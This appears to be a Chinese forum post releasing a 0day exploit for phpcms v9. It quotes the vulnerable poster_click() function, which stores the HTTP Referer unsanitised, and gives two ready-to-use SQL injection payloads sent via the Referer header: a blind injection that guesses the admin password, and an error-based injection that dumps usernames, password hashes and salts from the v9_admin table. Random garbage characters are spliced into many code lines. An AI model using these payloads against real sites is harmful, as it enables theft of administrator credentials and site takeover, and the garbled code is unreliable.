phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
' u  l' _# F; B/ @6 k) t2 @0 s
问题函数\phpcms\modules\poster\index.php

public function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
' M2 E0 G+ z9 w9 ]7 E% S$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
4 ~+ X* q( h/ f  V% B# g3 D$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
2 S) x( ]- j! K( w) T$area = $ip_area->get($ip);
0 U$ t. [' y1 T7 e9 Q4 p1 }$username = param::get_cookie('username') ? param::get_cookie('username') : '';
* q1 [, P4 B  }" W/ g# h! iif($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
# H- ]% h; E- Y* P6 f6 Z. `, L}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
  K$ D3 o4 z* h$ f" ^7 l' _( t7 H$setting = string2array($r['setting']);
if (count($setting)==1) {
$url = $setting['1']['linkurl'];
} else {
- X& r& n/ z4 f4 A4 m! b/ L$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
' k( R1 O* h, f# ?) ^* F- Wheader('Location: '.$url);
0 K* g& r3 t3 m}
! m. l0 G8 n0 t$ r# [


, h2 E, f% _9 ?6 V& z  `1 D利用方式：
/ I0 t8 }: L) f4 G1 X5 l, k
, i! o- `) e, g$ x* ^8 ]; t1、可以采用盲注入的手法：

& Y' W' N' o3 d7 @! Greferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

通过返回页面，正常与否一个个猜解密码字段。
' V. G" l/ @/ {0 l9 l
2、代码是花开写的，随手附上了：
! o5 N. h3 ^( l' i7 I2 V
2 v% Q% e, Y, o$ \7 ~1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

此方法是爆错注入手法，原理自查。
